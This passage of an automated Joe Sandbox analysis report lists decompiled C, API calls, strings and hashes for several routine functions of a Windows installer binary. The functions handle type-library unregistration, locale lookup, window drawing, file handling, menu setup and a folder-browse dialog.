0x00454fef
0x00454ff1
0x00454ff3
0x00454ffc
0x00454ffc
0x00455003
0x00455006
0x00455012
0x0045501b

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00455075,?,?,?,?), ref: 00454F38
6C8D5550.KERNEL32(00000000,OLEAUT32.DLL,UnRegisterTypeLib,00000000,00455075,?,?,?,?), ref: 00454F3E
LoadTypeLib.OLEAUT32(00000000,?), ref: 00454F8B

Part of subcall function 00451E44: GetLastError.KERNEL32(00000000,00451EDC,?,?,00000000,00000000,00000005,00000000,00452922,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451E68

Strings

UnRegisterTypeLib, xrefs: 00454FF7
UnRegisterTypeLib, xrefs: 00454F2E
GetProcAddress, xrefs: 00454F4B
ITypeLib::GetLibAttr, xrefs: 00454FC1
LoadTypeLib, xrefs: 00454F96
OLEAUT32.DLL, xrefs: 00454F33

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550ErrorHandleLastLoadModuleType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1267307030-2711329623
Opcode ID: aed263ed5648d535ed8f6f434b80fa5aa92fc9739765fb6e89cd270ac0a17f99
Instruction ID: 0a1100805ea1f579c8d6b43e9e4a1f9952dea1fbb95a38e61b6d9b86ecb1b516
Opcode Fuzzy Hash: aed263ed5648d535ed8f6f434b80fa5aa92fc9739765fb6e89cd270ac0a17f99
Instruction Fuzzy Hash: 9431A371700A04AFC711EFAACC61D6BB7BDEB89B157108466FD04D7692DA38DC0486A8

Uniqueness

Uniqueness Score: -1.00%

Function 0042E2D4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86
registryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E0042E2D4(void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t49;
				intOrPtr _t63;
				void* _t71;

				_v20 = 0;
				_v12 = 0;
				_push(_t71);
				_push(0x42e3d9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t71 + 0xfffffff0;
				_push("GetUserDefaultUILanguage");
				_t21 = GetModuleHandleA("kernel32.dll");
				_push(_t21);
				L00405A9C();
				_t49 = _t21;
				if(_t49 == 0) {
					if( *0x48c0e0 != 2) {
						if(E0042DCB4(0, "Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v8, 1, 0) == 0) {
							E0042DBE4();
							RegCloseKey(_v8);
						}
					} else {
						if(E0042DCB4(0, ".DEFAULT\\Control Panel\\International", 0x80000003,  &_v8, 1, 0) == 0) {
							E0042DBE4();
							RegCloseKey(_v8);
						}
					}
					E004035DC( &_v20, 0x42e47c);
					E004036C4( &_v20, _v12);
					E00402B08(_v20,  &_v16);
					if(_v16 != 0) {
					}
				} else {
					_t49->i();
				}
				_pop(_t63);
				 *[fs:eax] = _t63;
				_push(E0042E3E0);
				E00403548( &_v20);
				return E00403548( &_v12);
			}

0x0042e2df
0x0042e2e2
0x0042e2e7
0x0042e2e8
0x0042e2ed
0x0042e2f0
0x0042e2f3
0x0042e2fd
0x0042e302
0x0042e303
0x0042e308
0x0042e30c
0x0042e31e
0x0042e373
0x0042e380
0x0042e389
0x0042e389
0x0042e320
0x0042e33b
0x0042e348
0x0042e351
0x0042e351
0x0042e33b
0x0042e396
0x0042e3a1
0x0042e3ac
0x0042e3b7
0x0042e3b7
0x0042e30e
0x0042e30e
0x0042e310
0x0042e3bd
0x0042e3c0
0x0042e3c3
0x0042e3cb
0x0042e3d8

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E3D9,?,?,00000000,00000000,0047581C,?,00000001,00000000,00000002,00000000,00475FEC), ref: 0042E2FD
6C8D5550.KERNEL32(00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E3D9,?,?,00000000,00000000,0047581C,?,00000001,00000000,00000002,00000000,00475FEC), ref: 0042E303
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E3D9,?,?,00000000,00000000,0047581C,?,00000001), ref: 0042E351

Strings

GetUserDefaultUILanguage, xrefs: 0042E2F3
.DEFAULT\Control Panel\International, xrefs: 0042E328
kernel32.dll, xrefs: 0042E2F8
Locale, xrefs: 0042E340
Control Panel\Desktop\ResourceLocale, xrefs: 0042E360

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD5550HandleModule
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 2067295843-2401316094
Opcode ID: eac289779dc9a35405dacf305eb194efd7d16bf3728e6d0d51f92599c330f9e5
Instruction ID: 2ffba39c9ec1f6b7cffe41910bb2280be0d998a6ad9fce04057ee52685a60889
Opcode Fuzzy Hash: eac289779dc9a35405dacf305eb194efd7d16bf3728e6d0d51f92599c330f9e5
Instruction Fuzzy Hash: 12215830B04215ABDB10EAA3DC91B9F77B8EB04305F90447BA900E7291DB78DE01CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416E48 Relevance: 15.2, APIs: 10, Instructions: 167
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416E48(void* __eax, void* __ecx, struct HDC__* __edx) {
				struct tagRECT _v44;
				struct tagRECT _v60;
				void* _v68;
				int _v80;
				int _t77;
				int _t130;
				void* _t131;
				void* _t152;
				void* _t153;
				void* _t154;
				struct HDC__* _t155;

				_v60.right = __ecx;
				_t155 = __edx;
				_t152 = __eax;
				_t76 =  *((intOrPtr*)(__eax + 0xb0));
				if( *((intOrPtr*)(__eax + 0xb0)) == 0) {
					L13:
					_t77 =  *(_t152 + 0xb4);
					if(_t77 == 0) {
						L23:
						return _t77;
					}
					_t77 =  *((intOrPtr*)(_t77 + 8)) - 1;
					if(_t77 < 0) {
						goto L23;
					}
					_v44.right = _t77 + 1;
					_t153 = 0;
					do {
						_t77 = E0040B504( *(_t152 + 0xb4), _t153);
						_t130 = _t77;
						if( *((char*)(_t130 + 0xc5)) != 0 && ( *(_t130 + 0x34) & 0x00000010) != 0 && ( *((char*)(_t130 + 0x37)) != 0 || ( *(_t130 + 0x1c) & 0x00000010) != 0 && ( *(_t130 + 0x35) & 0x00000004) == 0)) {
							_v44.left = CreateSolidBrush(E0041A120(0x80000010));
							E0040AD00( *((intOrPtr*)(_t130 + 0x24)) - 1,  *((intOrPtr*)(_t130 + 0x24)) +  *((intOrPtr*)(_t130 + 0x2c)),  *((intOrPtr*)(_t130 + 0x28)) - 1,  &(_v44.right),  *((intOrPtr*)(_t130 + 0x28)) +  *((intOrPtr*)(_t130 + 0x30)));
							FrameRect(_t155,  &_v44, _v44);
							DeleteObject(_v60.right);
							_v60.left = CreateSolidBrush(E0041A120(0x80000014));
							E0040AD00( *((intOrPtr*)(_t130 + 0x24)),  *((intOrPtr*)(_t130 + 0x24)) +  *((intOrPtr*)(_t130 + 0x2c)) + 1,  *((intOrPtr*)(_t130 + 0x28)),  &(_v60.right),  *((intOrPtr*)(_t130 + 0x28)) +  *((intOrPtr*)(_t130 + 0x30)) + 1);
							FrameRect(_t155,  &_v60, _v60);
							_t77 = DeleteObject(_v68);
						}
						_t153 = _t153 + 1;
						_t73 =  &(_v44.right);
						 *_t73 = _v44.right - 1;
					} while ( *_t73 != 0);
					goto L23;
				}
				_t154 = 0;
				if(_v60.right != 0) {
					_t154 = E0040B54C(_t76, _v60.right);
					if(_t154 < 0) {
						_t154 = 0;
					}
				}
				_v60.bottom =  *((intOrPtr*)( *((intOrPtr*)(_t152 + 0xb0)) + 8));
				if(_t154 >= _v60.bottom) {
					goto L13;
				} else {
					goto L5;
				}
				do {
					L5:
					_t131 = E0040B504( *((intOrPtr*)(_t152 + 0xb0)), _t154);
					if( *((char*)(_t131 + 0x37)) != 0 || ( *(_t131 + 0x1c) & 0x00000010) != 0 && ( *(_t131 + 0x35) & 0x00000004) == 0) {
						E0040AD00( *((intOrPtr*)(_t131 + 0x24)),  *((intOrPtr*)(_t131 + 0x24)) +  *(_t131 + 0x2c),  *((intOrPtr*)(_t131 + 0x28)),  &(_v44.bottom),  *((intOrPtr*)(_t131 + 0x28)) +  *(_t131 + 0x30));
						if(RectVisible(_t155,  &(_v44.top)) != 0) {
							if(( *(_t152 + 0x36) & 0x00000080) != 0) {
								 *(_t131 + 0x36) =  *(_t131 + 0x36) | 0x00000080;
							}
							_v60.top = SaveDC(_t155);
							E00414280(_t155,  *((intOrPtr*)(_t131 + 0x28)),  *((intOrPtr*)(_t131 + 0x24)));
							IntersectClipRect(_t155, 0, 0,  *(_t131 + 0x2c),  *(_t131 + 0x30));
							E00415308(_t131, _t155, 0xf, 0);
							RestoreDC(_t155, _v80);
							 *(_t131 + 0x36) =  *(_t131 + 0x36) & 0x0000007f;
						}
					}
					_t154 = _t154 + 1;
				} while (_t154 < _v60.top);
				goto L13;
			}

0x00416e4f
0x00416e52
0x00416e54
0x00416e56
0x00416e5e
0x00416f41
0x00416f41
0x00416f49
0x0041704e
0x0041704e
0x0041704e
0x00416f52
0x00416f55
0x00000000
0x00000000
0x00416f5c
0x00416f60
0x00416f62
0x00416f6a
0x00416f6f
0x00416f78
0x00416fb2
0x00416fd5
0x00416fe0
0x00416fea
0x00416fff
0x00417022
0x0041702d
0x00417037
0x00417037
0x0041703c
0x0041703d
0x0041703d
0x0041703d
0x00000000
0x00416f62
0x00416e64
0x00416e6a
0x00416e74
0x00416e78
0x00416e7a
0x00416e7a
0x00416e78
0x00416e85
0x00416e8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00416e93
0x00416e93
0x00416ea0
0x00416ea6
0x00416ed0
0x00416ee2
0x00416ee8
0x00416eea
0x00416eea
0x00416ef4
0x00416f00
0x00416f12
0x00416f22
0x00416f2d
0x00416f32
0x00416f32
0x00416ee2
0x00416f36
0x00416f37
0x00000000

APIs

RectVisible.GDI32(?,?), ref: 00416EDB
SaveDC.GDI32(?), ref: 00416EEF
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416F12
RestoreDC.GDI32(?,?), ref: 00416F2D
CreateSolidBrush.GDI32(00000000), ref: 00416FAD
FrameRect.USER32 ref: 00416FE0
DeleteObject.GDI32(?), ref: 00416FEA
CreateSolidBrush.GDI32(00000000), ref: 00416FFA
FrameRect.USER32 ref: 0041702D
DeleteObject.GDI32(?), ref: 00417037

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: 964d93497028cbc6991c5c4536bdc5add608c04f7d813be7827ebd80889c79e1
Instruction ID: da30a3232c1dc10d551ab5d1fc10539b4d507e23bbc5398dd1f758c738a3ed68
Opcode Fuzzy Hash: 964d93497028cbc6991c5c4536bdc5add608c04f7d813be7827ebd80889c79e1
Instruction Fuzzy Hash: A6513C71204645AFCB50EF29C984B9B77E8AF48314F15566AFD48CB287C738EC81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00404C0F Relevance: 15.1, APIs: 10, Instructions: 122
fileCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00404C0F(void** __eax) {
				void* _t25;
				void* _t26;
				void* _t27;
				long _t30;
				void* _t33;
				void* _t35;
				long _t36;
				int _t39;
				void* _t41;
				void* _t47;
				void* _t48;
				long _t49;
				long _t50;
				void* _t53;
				void** _t54;
				DWORD* _t55;

				_t54 = __eax;
				 *((intOrPtr*)(__eax + 0xc)) = 0;
				 *((intOrPtr*)(__eax + 0x10)) = 0;
				_t25 =  *((intOrPtr*)(__eax + 4)) - 0xd7b1;
				if(_t25 == 0) {
					_t26 = 0x80000000;
					_t50 = 2;
					_t49 = 3;
					 *((intOrPtr*)(__eax + 0x1c)) = E00404BA0;
					L8:
					_t54[9] = 0x404bf7;
					_t54[8] = E00404BC7;
					if(_t54[0x12] == 0) {
						_t54[9] = E00404BC7;
						if(_t54[1] == 0xd7b2) {
							_t27 = GetStdHandle(0xfffffff5);
						} else {
							_t27 = GetStdHandle(0xfffffff6);
						}
						if(_t27 == 0xffffffff) {
							L35:
							_t54[1] = 0xd7b0;
							return GetLastError();
						} else {
							 *_t54 = _t27;
							L28:
							if(_t54[1] == 0xd7b1) {
								L32:
								return 0;
							}
							_t30 = GetFileType( *_t54);
							if(_t30 == 0) {
								CloseHandle( *_t54);
								_t54[1] = 0xd7b0;
								return 0x69;
							}
							if(_t30 == 2) {
								_t54[8] = E00404BCA;
							}
							goto L32;
						}
					}
					_push(0);
					_push(0x80);
					_push(_t49);
					_push(0);
					_push(_t50);
					_push(_t26);
					_t33 =  &(_t54[0x12]);
					_push(_t33);
					L00401228();
					if(_t33 == 0xffffffff) {
						goto L35;
					}
					 *_t54 = _t33;
					if(_t54[1] != 0xd7b3) {
						goto L28;
					}
					_t54[1] = _t54[1] - 1;
					_t35 = GetFileSize( *_t54, 0) + 1;
					if(_t35 == 0) {
						goto L35;
					}
					_t36 = _t35 - 0x81;
					if(_t36 < 0) {
						_t36 = 0;
					}
					if(SetFilePointer( *_t54, _t36, 0, 0) + 1 == 0) {
						goto L35;
					} else {
						_t39 = ReadFile( *_t54,  &(_t54[0x53]), 0x80, _t55, 0);
						_t53 = 0;
						if(_t39 != 1) {
							goto L35;
						}
						_t41 = 0;
						while(_t41 < _t53) {
							if( *((char*)(_t54 + _t41 + 0x14c)) == 0x1a) {
								if(SetFilePointer( *_t54, _t41 - _t53, 0, 2) + 1 == 0 || SetEndOfFile( *_t54) != 1) {
									goto L35;
								} else {
									goto L28;
								}
							}
							_t41 = _t41 + 1;
						}
						goto L28;
					}
				}
				_t47 = _t25 - 1;
				if(_t47 == 0) {
					_t26 = 0x40000000;
					_t50 = 1;
					_t49 = 2;
					L7:
					_t54[7] = E00404BCA;
					goto L8;
				}
				_t48 = _t47 - 1;
				if(_t48 == 0) {
					_t26 = 0xc0000000;
					_t50 = 1;
					_t49 = 3;
					goto L7;
				}
				return _t48;
			}

0x00404c10
0x00404c14
0x00404c17
0x00404c1d
0x00404c22
0x00404c2f
0x00404c34
0x00404c39
0x00404c3e
0x00404c6e
0x00404c6e
0x00404c75
0x00404c80
0x00404d34
0x00404d42
0x00404d4a
0x00404d44
0x00404d4a
0x00404d4a
0x00404d52
0x00404d8f
0x00404d8f
0x00000000
0x00404d54
0x00404d54
0x00404d56
0x00404d5d
0x00404d76
0x00000000
0x00404d76
0x00404d61
0x00404d68
0x00404d7c
0x00404d81
0x00000000
0x00404d88
0x00404d6d
0x00404d6f
0x00404d6f
0x00000000
0x00404d6d
0x00404d52
0x00404c86
0x00404c88
0x00404c8d
0x00404c8e
0x00404c90
0x00404c91
0x00404c92
0x00404c95
0x00404c96
0x00404c9e
0x00000000
0x00000000
0x00404ca4
0x00404cad
0x00000000
0x00000000
0x00404cb3
0x00404cbf
0x00404cc0
0x00000000
0x00000000
0x00404cc6
0x00404ccb
0x00404ccd
0x00404ccd
0x00404cdc
0x00000000
0x00404ce2
0x00404cf7
0x00404cfc
0x00404cfe
0x00000000
0x00000000
0x00404d04
0x00404d06
0x00404d12
0x00404d26
0x00000000
0x00404d32
0x00000000
0x00404d32
0x00404d26
0x00404d14
0x00404d14
0x00000000
0x00404d06
0x00404cdc
0x00404c24
0x00404c25
0x00404c47
0x00404c4c
0x00404c51
0x00404c67
0x00404c67
0x00000000
0x00404c67
0x00404c27
0x00404c28
0x00404c58
0x00404c5d
0x00404c62
0x00000000
0x00404c62
0x00000000

APIs

6C8D5CA0.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404C96
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404CBA
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404CD6
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404CF7
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404D20
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404D2A
GetStdHandle.KERNEL32(000000F5), ref: 00404D4A
GetFileType.KERNEL32(?,000000F5), ref: 00404D61
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404D7C
GetLastError.KERNEL32(000000F5), ref: 00404D96

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: File$HandlePointer$CloseErrorLastReadSizeType
String ID:
API String ID: 2587015848-0
Opcode ID: 32fbc3d591d887db1daa96df7588f8d0b8ed6a028886d61b7680b13e569ddf3c
Instruction ID: 206bcdb747724065788a6a6a215919135cebaaf405beceec5406885cc449240e
Opcode Fuzzy Hash: 32fbc3d591d887db1daa96df7588f8d0b8ed6a028886d61b7680b13e569ddf3c
Instruction Fuzzy Hash: 814180B01057009AE7306F248809B3775E5AFC1764F248A3FE2A6BA6E0E77DE845875D

Uniqueness

Uniqueness Score: -1.00%

Function 004222B0 Relevance: 15.1, APIs: 10, Instructions: 74
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004222B0(intOrPtr _a4) {
				intOrPtr _t27;
				struct HMENU__* _t48;

				_t27 =  *((intOrPtr*)(_a4 - 4));
				if( *((char*)(_t27 + 0x111)) != 0) {
					_t27 =  *((intOrPtr*)(_a4 - 4));
					if(( *(_t27 + 0x110) & 0x00000001) != 0) {
						_t27 =  *((intOrPtr*)(_a4 - 4));
						if( *((char*)(_t27 + 0x116)) != 1) {
							_t48 = GetSystemMenu(E004182A8( *((intOrPtr*)(_a4 - 4))), 0);
							if( *((char*)( *((intOrPtr*)(_a4 - 4)) + 0x111)) == 3) {
								DeleteMenu(_t48, 0xf130, 0);
								DeleteMenu(_t48, 7, 0x400);
								DeleteMenu(_t48, 5, 0x400);
								DeleteMenu(_t48, 0xf030, 0);
								DeleteMenu(_t48, 0xf020, 0);
								DeleteMenu(_t48, 0xf000, 0);
								return DeleteMenu(_t48, 0xf120, 0);
							}
							if(( *( *((intOrPtr*)(_a4 - 4)) + 0x110) & 0x00000002) == 0) {
								EnableMenuItem(_t48, 0xf020, 1);
							}
							_t27 =  *((intOrPtr*)(_a4 - 4));
							if(( *(_t27 + 0x110) & 0x00000004) == 0) {
								return EnableMenuItem(_t48, 0xf030, 1);
							}
						}
					}
				}
				return _t27;
			}

0x004222b7
0x004222c1
0x004222ca
0x004222d4
0x004222dd
0x004222e7
0x00422300
0x0042230f
0x00422319
0x00422326
0x00422333
0x00422340
0x0042234d
0x0042235a
0x00000000
0x00422367
0x0042237b
0x00422385
0x00422385
0x0042238d
0x00422397
0x00000000
0x004223a1
0x00422397
0x004222e7
0x004222d4
0x004223a8

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 004222FB
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422319
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422326
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422333
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422340
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 0042234D
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 0042235A
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 00422367
EnableMenuItem.USER32 ref: 00422385
EnableMenuItem.USER32 ref: 004223A1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: a71815bfce3839e5d59f0b64983f550f02594c27ccd0ca70a59ab461335a7683
Instruction ID: 69e16c91d3084d14181d37bcb75724531617602d3fcf40d776552ae4b11e6cc4
Opcode Fuzzy Hash: a71815bfce3839e5d59f0b64983f550f02594c27ccd0ca70a59ab461335a7683
Instruction Fuzzy Hash: 622121703847057AEB21DB25CD8FF9A7AD8AB04718F0444A5BA447F2D3C7FDAA408A58

Uniqueness

Uniqueness Score: -1.00%

Function 0045BDCC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0045BDCC(void* __eax, void* __ebx, struct _browseinfo __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags, char _a4) {
				intOrPtr* _v8;
				char _v9;
				char _v16;
				char _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				struct _ITEMIDLIST* _v32;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				char* _v56;
				struct _browseinfo _v64;
				char _v324;
				intOrPtr _t49;
				void* _t59;
				intOrPtr _t67;
				struct _browseinfo _t70;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t68 = __edi;
				_t72 = _t73;
				_t74 = _t73 + 0xfffffdbc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_t70 = __ecx;
				_v8 = __edx;
				_t59 = __eax;
				_push(_t72);
				_push(0x45bf5b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v9 = 0;
				E0042CBC4( *_v8, __ecx,  &_v16, __eflags);
				_push( &_v20);
				L0042CCC8();
				if(E0042CCA0( &_v20) != 0) {
					_v20 = 0;
				}
				E00402A64( &_v64, 0x20);
				_v64 = _t70;
				_v56 =  &_v324;
				_v52 = E00403880(_t59);
				_v48 = 0x41;
				if(_a4 == 0) {
					_v48 = _v48 | 0x00000200;
				}
				_v44 = E0045BD68;
				if(_v16 != 0) {
					_v40 = E00403880(_v16);
				}
				_v24 = GetActiveWindow();
				_v28 = E0041EF6C(0, _t59, _t68, _t70);
				_push(0);
				L0042CC30();
				_push(_t72);
				_push(0x45bed0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v32 = SHBrowseForFolder( &_v64);
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(0x45bed7);
				L0042CC38();
				E0041F020(_v28);
				_t49 =  *0x48d628; // 0x2162410
				SetActiveWindow( *(_t49 + 0x20));
				return SetActiveWindow(_v24);
			}

0x0045bdcc
0x0045bdcd
0x0045bdcf
0x0045bdd5
0x0045bdd6
0x0045bdd7
0x0045bdda
0x0045bddd
0x0045bddf
0x0045bde2
0x0045bde6
0x0045bde7
0x0045bdec
0x0045bdef
0x0045bdf2
0x0045bdfe
0x0045be06
0x0045be07
0x0045be13
0x0045be17
0x0045be17
0x0045be24
0x0045be29
0x0045be32
0x0045be3c
0x0045be3f
0x0045be4a
0x0045be4c
0x0045be4c
0x0045be53
0x0045be5e
0x0045be68
0x0045be68
0x0045be70
0x0045be7a
0x0045be7d
0x0045be7f
0x0045be86
0x0045be87
0x0045be8c
0x0045be8f
0x0045be9b
0x0045bea0
0x0045bea3
0x0045bea6
0x0045beab
0x0045beb3
0x0045beb8
0x0045bec1
0x0045becf

APIs

Part of subcall function 0042CBC4: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0042CD0A,00000000,0042CD30,?,?,?,00000000,00000000,?,0042CD45), ref: 0042CBEC

SHGetMalloc.SHELL32(?), ref: 0045BE07
GetActiveWindow.USER32 ref: 0045BE6B
CoInitialize.OLE32(00000000), ref: 0045BE7F
SHBrowseForFolder.SHELL32(?), ref: 0045BE96
7677F460.OLE32(0045BED7,00000000,?,?,?,?,?,00000000,0045BF5B), ref: 0045BEAB
SetActiveWindow.USER32(?,0045BED7,00000000,?,?,?,?,?,00000000,0045BF5B), ref: 0045BEC1
SetActiveWindow.USER32(?,?,0045BED7,00000000,?,?,?,?,?,00000000,0045BF5B), ref: 0045BECA

Strings

A, xrefs: 0045BE3F

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ActiveWindow$7677BrowseCharF460FolderInitializeMallocPrev
String ID: A
API String ID: 201045231-3554254475
Opcode ID: 0cb04e95cc2b8f3418b7ed81ca2b8f6428beee4110c3bfc39c51b83993a3b858
Instruction ID: 40f59b17f8b227a8e47d7ce9633a3b39aa69965a961231048fa4038206e478c7
Opcode Fuzzy Hash: 0cb04e95cc2b8f3418b7ed81ca2b8f6428beee4110c3bfc39c51b83993a3b858
Instruction Fuzzy Hash: 01310271D00308AFDB10EFA6D84669EBBF4EF09704F51446EF914E7252D7785A048B99

Uniqueness

Uniqueness Score: -1.00%

Function 00401A98 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00401A98() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t18;
				intOrPtr _t22;
				intOrPtr _t24;

				_t22 = _t24;
				if( *0x48d419 == 0) {
					return _t2;
				} else {
					_push(_t22);
					_push(E00401B70);
					_push( *[fs:edx]);
					 *[fs:edx] = _t24;
					if( *0x48d036 != 0) {
						_push(0x48d420);
						L00401330();
					}
					 *0x48d419 = 0;
					_t3 =  *0x48d478; // 0x68f850
					LocalFree(_t3);
					 *0x48d478 = 0;
					_t18 =  *0x48d440; // 0x692454
					while(_t18 != 0x48d440) {
						VirtualFree( *(_t18 + 8), 0, 0x8000);
						_t18 =  *_t18;
					}
					E00401398(0x48d440);
					E00401398(0x48d450);
					E00401398(0x48d47c);
					_t14 =  *0x48d438; // 0x691e20
					while(_t14 != 0) {
						 *0x48d438 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x48d438; // 0x691e20
					}
					_pop( *[fs:0x0]);
					_push(0x401b77);
					if( *0x48d036 != 0) {
						_push(0x48d420);
						L00401338();
					}
					_push(0x48d420);
					L00401340();
					return _t14;
